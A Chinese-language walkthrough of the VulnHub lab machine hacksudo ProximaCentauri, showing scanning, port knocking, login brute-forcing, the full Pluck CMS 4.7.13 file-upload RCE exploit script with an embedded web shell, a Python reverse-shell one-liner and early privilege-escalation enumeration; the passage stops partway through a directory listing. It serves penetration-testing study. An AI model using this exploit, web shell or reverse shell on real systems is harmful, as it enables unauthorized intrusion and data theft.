免责声明:本文记录的是 hacksudo ProximaCentauri 渗透测试靶机 的解题过程,所有操作均在 本地授权环境 中进行。内容仅供 网络安全学习与防护研究 使用,请勿用于任何非法用途。读者应遵守《网络安全法》及相关法律法规,自觉维护网络空间安全。
3个flag:
flag1.txt
user.txt
root.txt
环境:
https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip
一、信息收集
1、探测目标IP地址
arp-scan -l #探测当前网段的所有ip地址
┌──(root㉿kali)-[~]
└─# arp-scan -l #探测当前网段的所有ip地址
Interface: eth0, type: EN10MB, MAC: 08:00:27:63:b0:05, IPv4: 192.168.5.6
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.5.1 0a:00:27:00:00:04 (Unknown: locally administered)
192.168.5.2 08:00:27:94:63:44 PCS Systemtechnik GmbH
192.168.5.8 08:00:27:ae:43:6c PCS Systemtechnik GmbH
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.114 seconds (121.10 hosts/sec). 3 responded
nmap -sP 192.168.5.0/24
┌──(root㉿kali)-[~]
└─# nmap -sP 192.168.5.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 10:04 -0400
Nmap scan report for 192.168.5.1
Host is up (0.00014s latency).
MAC Address: 0A:00:27:00:00:04 (Unknown)
Nmap scan report for 192.168.5.2
Host is up (0.00014s latency).
MAC Address: 08:00:27:94:63:44 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.5.8
Host is up (0.00023s latency).
MAC Address: 08:00:27:AE:43:6C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.5.6
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.76 seconds
目标IP:192.168.5.8
2、探测目标IP开放端口
nmap -A -T4 -p 1-65535 192.168.5.8
┌──(root㉿kali)-[~]
└─# nmap -A -T4 -p 1-65535 192.168.5.8
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 10:05 -0400
Nmap scan report for 192.168.5.8
Host is up (0.00030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-title: HackSudo Proxima Centauri - Image result for proxima centauri...
|_Requested resource was http://192.168.5.8/?file=hacksudo-proxima-centauri
|_http-generator: pluck 4.7.13
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:AE:43:6C (Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.30 ms 192.168.5.8
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.01 seconds
端口:22、80
3、目录探测
dirsearch -u http://192.168.5.8
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.5.8
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/reports/http_192.168.5.8/_26-03-24_11-19-22.txt
Target: http://192.168.5.8/
[11:19:22] Starting:
[11:19:23] 403 - 276B - /.ht_wsr.txt
[11:19:23] 403 - 276B - /.htaccess.bak1
[11:19:23] 403 - 276B - /.htaccess.orig
[11:19:23] 403 - 276B - /.htaccess.sample
[11:19:23] 403 - 276B - /.htaccess.save
[11:19:23] 403 - 276B - /.htaccess_extra
[11:19:23] 403 - 276B - /.htaccess_sc
[11:19:23] 403 - 276B - /.htaccess_orig
[11:19:23] 403 - 276B - /.htaccessOLD
[11:19:23] 403 - 276B - /.htaccessBAK
[11:19:23] 403 - 276B - /.htaccessOLD2
[11:19:23] 403 - 276B - /.htm
[11:19:23] 403 - 276B - /.html
[11:19:23] 403 - 276B - /.httr-oauth
[11:19:23] 403 - 276B - /.htpasswds
[11:19:23] 403 - 276B - /.htpasswd_test
[11:19:23] 403 - 276B - /.php
[11:19:26] 200 - 2KB - /admin.php
[11:19:34] 301 - 309B - /data -> http://192.168.5.8/data/
[11:19:35] 200 - 48B - /data/
[11:19:35] 200 - 534B - /docs/
[11:19:35] 301 - 309B - /docs -> http://192.168.5.8/docs/
[11:19:37] 301 - 310B - /files -> http://192.168.5.8/files/
[11:19:37] 200 - 457B - /files/
[11:19:39] 301 - 311B - /images -> http://192.168.5.8/images/
[11:19:39] 200 - 456B - /images/
[11:19:39] 200 - 2KB - /install.php
[11:19:39] 200 - 2KB - /install.php?profile=default
[11:19:41] 200 - 700B - /login.php
[11:19:48] 200 - 2KB - /README.md
[11:19:49] 200 - 47B - /robots.txt
[11:19:50] 403 - 276B - /server-status/
[11:19:50] 403 - 276B - /server-status
Task Completed
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.5.8 -t 30
二、漏洞利用
1、信息搜集
获取flag1
http://192.168.5.8/flag1.txt

访问login.php页面发现框架的版本信息:pluck 4.7.13,顺便尝试了下弱口令、注入,但是均测试失败。
http://192.168.5.8/login.php

搜索下pluck 4.7.13的漏洞信息:
searchsploit pluck
┌──(root㉿kali)-[~]
└─# searchsploit pluck
----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
Pluck 4.7.7-dev2 - PHP Code Execution | php/webapps/52460.txt
Pluck CMS 4.5.1 (Windows) - 'blogpost' Local File Inclusio | php/webapps/6074.txt
Pluck CMS 4.5.2 - Multiple Cross-Site Scripting Vulnerabil | php/webapps/32168.txt
Pluck CMS 4.5.2 - Multiple Local File Inclusions | php/webapps/6300.txt
Pluck CMS 4.5.3 - 'g_pcltar_lib_dir' Local File Inclusion | php/webapps/7153.txt
Pluck CMS 4.5.3 - 'update.php' Remote File Corruption | php/webapps/6492.php
Pluck CMS 4.6.1 - 'module_pages_site.php' Local File Inclu | php/webapps/8271.php
Pluck CMS 4.6.2 - 'langpref' Local File Inclusion | php/webapps/8715.txt
Pluck CMS 4.6.3 - 'cont1' HTML Injection | php/webapps/34790.txt
Pluck CMS 4.7 - Directory Traversal | php/webapps/36986.txt
Pluck CMS 4.7 - HTML Code Injection | php/webapps/27398.txt
Pluck CMS 4.7 - Multiple Local File Inclusion / File Discl | php/webapps/36129.txt
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Auth | php/webapps/49909.py
Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authentica | php/webapps/50826.py
Pluck CMS 4.7.3 - Cross-Site Request Forgery (Add Page) | php/webapps/40566.py
Pluck CMS 4.7.3 - Multiple Vulnerabilities | php/webapps/38002.txt
Pluck v4.7.18 - Remote Code Execution (RCE) | php/webapps/51592.py
pluck v4.7.18 - Stored Cross-Site Scripting (XSS) | php/webapps/51420.txt
PluckCMS 4.7.10 - Unrestricted File Upload | php/webapps/52448.txt
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results
发现存在一个文件上传进行命令执行的漏洞,但是查看了下该漏洞利用方式是需要admin权限的。
searchsploit -m 49909.py
cat 49909.py
┌──(root㉿kali)-[~]
└─# searchsploit -m 49909.py
Exploit: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
URL: https://www.exploit-db.com/exploits/49909
Path: /usr/share/exploitdb/exploits/php/webapps/49909.py
Codes: CVE-2020-29607
Verified: True
File Type: ASCII text, with very long lines (18078)
Copied to: /root/49909.py
┌──(root㉿kali)-[~]
└─# cat 49909.py
# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
# Date: 25.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13
# Version: 4.7.13
# Tested on Xubuntu 20.04
# CVE: CVE-2020-29607
'''
Description:
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin
privileged user to gain access in the host through the "manage files" functionality,
which may result in remote code execution.
'''
'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse
'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]
'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')
'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 27
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + password_encoded_len
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(content_len),
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
# Construct Data:
body = {
'cont1': password,
'bogus': '',
'submit': 'Log in',
}
# Authenticating:
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
auth = requests.post(link_auth, headers=header, data=body)
print('')
if 'error' in auth.text:
print('Password incorrect, please try again:')
exit()
else:
print('Authentification was succesfull, uploading webshell')
print('')
'''
Upload Webshell:
'''
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060',
'Connection': 'close',
'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
# Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell
data = "-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"filefile\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n flex-direction: column;\n align-items: stretch;\n }\n\n #shell-content {\n height: 500px;\n overflow: auto;\n padding: 5px;\n white-space: pre-wrap;\n flex-grow: 1;\n }\n\n #shell-logo {\n font-weight: bold;\n color: #FF4180;\n text-align: center;\n }\n\n @media (max-width: 991px) {\n #shell-logo {\n font-size: 6px;\n margin: -25px 0;\n }\n\n html, body, #shell {\n height: 100%;\n width: 100%;\n max-width: none;\n }\n\n #shell {\n margin-top: 0;\n }\n }\n\n @media (max-width: 767px) {\n #shell-input {\n flex-direction: column;\n }\n }\n\n @media (max-width: 320px) {\n #shell-logo {\n font-size: 5px;\n }\n }\n\n .shell-prompt {\n font-weight: bold;\n color: #75DF0B;\n }\n\n .shell-prompt > span {\n color: #1BC9E7;\n }\n\n #shell-input {\n display: flex;\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n border-top: rgba(255, 255, 255, .05) solid 1px;\n }\n\n #shell-input > label {\n flex-grow: 0;\n display: block;\n padding: 0 5px;\n height: 30px;\n line-height: 30px;\n }\n\n #shell-input #shell-cmd {\n height: 30px;\n line-height: 30px;\n border: none;\n background: transparent;\n color: #eee;\n font-family: monospace;\n font-size: 10pt;\n width: 100%;\n align-self: center;\n }\n\n #shell-input div {\n flex-grow: 1;\n align-items: stretch;\n }\n\n #shell-input input {\n outline: none;\n }\n </style>\n\n <script>\n var CWD = null;\n var commandHistory = [];\n var historyPosition = 0;\n var eShellCmdInput = null;\n var eShellContent = null;\n\n function _insertCommand(command) {\n eShellContent.innerHTML += \"\\n\\n\";\n eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n eShellContent.innerHTML += escapeHtml(command);\n eShellContent.innerHTML += \"\\n\";\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _insertStdout(stdout) {\n eShellContent.innerHTML += escapeHtml(stdout);\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _defer(callback) {\n setTimeout(callback, 0);\n }\n\n function featureShell(command) {\n\n _insertCommand(command);\n if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n } else if (/^\\s*clear\\s*$/.test(command)) {\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n eShellContent.innerHTML = '';\n } else {\n makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n if (response.hasOwnProperty('file')) {\n featureDownload(response.name, response.file)\n } else {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n }\n });\n }\n }\n\n function featureHint() {\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\n\n function _requestCallback(data) {\n if (data.files.length <= 1) return; // no completion\n\n if (data.files.length === 2) {\n if (type === 'cmd') {\n eShellCmdInput.value = data.files[0];\n } else {\n var currentValue = eShellCmdInput.value;\n eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n }\n } else {\n _insertCommand(eShellCmdInput.value);\n _insertStdout(data.files.join(\"\\n\"));\n }\n }\n\n var currentCmd = eShellCmdInput.value.split(\" \");\n var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n makeRequest(\n \"?feature=hint\",\n {\n filename: fileName,\n cwd: CWD,\n type: type\n },\n _requestCallback\n );\n\n }\n\n function featureDownload(name, file) {\n var element = document.createElement('a');\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n element.setAttribute('download', name);\n element.style.display = 'none';\n document.body.appendChild(element);\n element.click();\n document.body.removeChild(element);\n _insertStdout('Done.');\n }\n\n function featureUpload(path) {\n var element = document.createElement('input');\n element.setAttribute('type', 'file');\n element.style.display = 'none';\n document.body.appendChild(element);\n element.addEventListener('change', function () {\n var promise = getBase64(element.files[0]);\n promise.then(function (file) {\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n });\n }, function () {\n _insertStdout('An unknown client-side error occurred.');\n });\n });\n element.click();\n document.body.removeChild(element);\n }\n\n function getBase64(file, onLoadCallback) {\n return new Promise(function(resolve, reject) {\n var reader = new FileReader();\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n reader.onerror = reject;\n reader.readAsDataURL(file);\n });\n }\n\n function genPrompt(cwd) {\n cwd = cwd || \"~\";\n var shortCwd = cwd;\n if (cwd.split(\"/\").length > 3) {\n var splittedCwd = cwd.split(\"/\");\n shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n }\n return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n }\n\n function updateCwd(cwd) {\n if (cwd) {\n CWD = cwd;\n _updatePrompt();\n return;\n }\n makeRequest(\"?feature=pwd\", {}, function(response) {\n CWD = response.cwd;\n _updatePrompt();\n });\n\n }\n\n function escapeHtml(string) {\n return string\n .replace(/&/g, \"&\")\n .replace(/</g, \"<\")\n .replace(/>/g, \">\");\n }\n\n function _updatePrompt() {\n var eShellPrompt = document.getElementById(\"shell-prompt\");\n eShellPrompt.innerHTML = genPrompt(CWD);\n }\n\n function _onShellCmdKeyDown(event) {\n switch (event.key) {\n case \"Enter\":\n featureShell(eShellCmdInput.value);\n insertToHistory(eShellCmdInput.value);\n eShellCmdInput.value = \"\";\n break;\n case \"ArrowUp\":\n if (historyPosition > 0) {\n historyPosition--;\n eShellCmdInput.blur();\n eShellCmdInput.value = commandHistory[historyPosition];\n _defer(function() {\n eShellCmdInput.focus();\n });\n }\n break;\n case \"ArrowDown\":\n if (historyPosition >= commandHistory.length) {\n break;\n }\n historyPosition++;\n if (historyPosition === commandHistory.length) {\n eShellCmdInput.value = \"\";\n } else {\n eShellCmdInput.blur();\n eShellCmdInput.focus();\n eShellCmdInput.value = commandHistory[historyPosition];\n }\n break;\n case 'Tab':\n event.preventDefault();\n featureHint();\n break;\n }\n }\n\n function insertToHistory(cmd) {\n commandHistory.push(cmd);\n historyPosition = commandHistory.length;\n }\n\n function makeRequest(url, params, callback) {\n function getQueryString() {\n var a = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n }\n }\n return a.join(\"&\");\n }\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4 && xhr.status === 200) {\n try {\n var responseJson = JSON.parse(xhr.responseText);\n callback(responseJson);\n } catch (error) {\n alert(\"Error while parsing response: \" + error);\n }\n }\n };\n xhr.send(getQueryString());\n }\n\n document.onclick = function(event) {\n event = event || window.event;\n var selection = window.getSelection();\n var target = event.target || event.srcElement;\n\n if (target.tagName === \"SELECT\") {\n return;\n }\n\n if (!selection.toString()) {\n eShellCmdInput.focus();\n }\n };\n\n window.onload = function() {\n eShellCmdInput = document.getElementById(\"shell-cmd\");\n eShellContent = document.getElementById(\"shell-content\");\n updateCwd();\n eShellCmdInput.focus();\n };\n </script>\n </head>\n\n <body>\n <div id=\"shell\">\n <pre id=\"shell-content\">\n <div id=\"shell-logo\">\n ___ ____ _ _ _ _ _ <span></span>\n _ __ / _ \\__ ___ __ _ _ / __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_ .. _|<span></span>\n| |_) | |_| |\\ V V /| | | | |_| | | (_| \\__ \\ | | | __/ | |_ |_ _|<span></span>\n| .__/ \\___/ \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_) |_||_| <span></span>\n|_| |___/ \\____/ <span></span>\n </div>\n </pre>\n <div id=\"shell-input\">\n <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n <div>\n <input id=\"shell-cmd\" name=\"cmd\" οnkeydοwn=\"_onShellCmdKeyDown(event)\"/>\n </div>\n </div>\n </div>\n </body>\n\n</html>\n\r\n-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload\r\n-----------------------------5170699732428994785525662060--\r\n"
# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files'
upload = requests.post(link_upload, headers=header, data=data)
'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/files/shell.phar')
print('')
访问下半人马座的坐标信息,获得:RA 14 29 43。

2、端口敲门
先进行端口敲门,然后再次使用nmap对靶场进行端口扫描,发现ssh服务。
knock 192.168.5.8 14 29 43
nmap -T4 -sV -p- -A 192.168.5.8
┌──(root㉿kali)-[~]
└─# knock 192.168.5.8 14 29 43
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV -p- -A 192.168.5.8
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 11:26 -0400
Nmap scan report for 192.168.5.8
Host is up (0.00020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 0d:5d:10:39:b6:51:ee:37:ce:1c:c3:0f:a7:54:26:e9 (RSA)
| 256 f3:17:ce:e5:9a:3f:fe:e5:ce:46:30:51:a8:d4:92:d7 (ECDSA)
|_ 256 f2:06:f8:cb:3c:f2:32:fa:ce:2f:86:08:59:15:42:e1 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-generator: pluck 4.7.13
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: HackSudo Proxima Centauri - Image result for proxima centauri...
|_Requested resource was http://192.168.5.8/?file=hacksudo-proxima-centauri
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
MAC Address: 08:00:27:AE:43:6C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.20 ms 192.168.5.8
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.91 seconds
3、密码爆破
尝试使用ssh服务进行了连接,发现给出了一个字典:https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst,猜测是密码。
ssh 192.168.5.8
┌──(root㉿kali)-[~]
└─# ssh 192.168.5.8
The authenticity of host '192.168.5.8 (192.168.5.8)' can't be established.
ED25519 key fingerprint is: SHA256:eI8yP9LtVsMcwLyNVJCLIT/guic0AroGQyjLmeyJCC8
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.5.8' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
#m m # #
# # mmm mmm # m mmm m m mmm# mmm
#mmmm# " # #" " # m" # " # # #" "# #" "#
# # m"""# # #"# """m # # # # # #
# # "mm"# "#mm" # "m "mmm" "mm"# "#m## "#m#"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.hacksudo.com @blackwhole effect #vishal_waghmare @twitter#vishalhwaghmare
#==============================================================================#
#hey dear you might be survive due to blackwhole effect so try 2 get right path#
#------------------------------------------------------------------------------#
did you tried?cont1=^https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst^
root@192.168.5.8's password:

GNU nano 5.4 pass
proxima
alfa
alfacentauri
proximab
exoplanet
hackme
hackplanet
alfahack
proximatravel
hacktheplanet
hacksudo
hacksudoplanet
vishalastro
alfab
#try for proxima centauri , this is blackwhole effect
使用burp抓取登录的数据包:http://192.168.5.126/login.php ,使用获得字典进行爆破,成功获得密码:hacktheplanet。

登录成功:

4、框架漏洞获取shell
这里想到上面提到的框架:pluck 4.7.13的漏洞,该漏洞需要使用管理员权限,那我们现在有了密码不就是管理员了,根据该exp的利用方式获取shell权限:
python 49909.py 192.168.5.8 80 hacktheplanet ""
┌──(root㉿kali)-[~]
└─# python 49909.py 192.168.5.8 80 hacktheplanet ""
Authentification was succesfull, uploading webshell
Uploaded Webshell to: http://192.168.5.8:80/files/shell.phar
访问返回的地址:http://192.168.5.8:80/files/shell.phar,获得一个命令执行窗口。

使用python反弹下shell
浏览器:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.6",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

kali:
nc -lvnp 6688
反弹成功:
┌──(root?kali)-[~]
└─# nc -lvnp 6688
listening on [any] 6688 ...
connect to [192.168.5.6] from (UNKNOWN) [192.168.5.8] 51550
$
三、权限提升
1、切换为bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ProximaCentauri:/var/www/html/files$
2、信息搜集
在/var目录下发现一个备份文件:backups,在该文件中发现mysql.bak文件,读取该文件获取到数据库名称、账号和密码信息:proximacentauri、alfauser/passw0rd。
www-data@ProximaCentauri:/var/www/html/files$ cd /var
cd /var
www-data@ProximaCentauri:/var$
www-data@ProximaCentauri:/var$ ls -la
ls -la
total 48
drwxr-xr-x 12 root root 4096 Jun 4 2021 .
drwxr-xr-x 18 root root 4096 Jun 4 2021 ..
drwxr-xr-x 2 root root 4096 Jun 5 2021 backups
drwxr-xr-x 8 root root 4096 Jun 4 2021 cache
drwxr-xr-x 23 root root 4096 Jun 5 2021 lib
drwxrwsr-x 2 root staff 4096 Jan 30 2021 local
lrwxrwxrwx 1 root root 9 Jun 4 2021 lock -> /run/lock
drwxr-xr-x 7 root root 4096 Mar 24 10:04 log
drwxrwsr-x 2 root mail 4096 Jun 4 2021 mail
drwxr-xr-x 2 root root 4096 Jun 4 2021 opt
lrwxrwxrwx 1 root root 4 Jun 4 2021 run -> /run
drwxr-xr-x 4 root root 4096 Jun 4 2021 spool
drwxrwxrwt 2 root root 4096 Mar 24 11:18 tmp
drwxr-xr-x 3 root root 4096 Jun 4 2021 www
www-data@ProximaCentauri:/var$
www-data@ProximaCentauri:/var$ cd backups
cd backups
www-data@ProximaCentauri:/var/backups$
www-data@ProximaCentauri:/var/backups$ ls -la
ls -la
total 436
drwxr-xr-x 2 root root 4096 Jun 5 2021 .
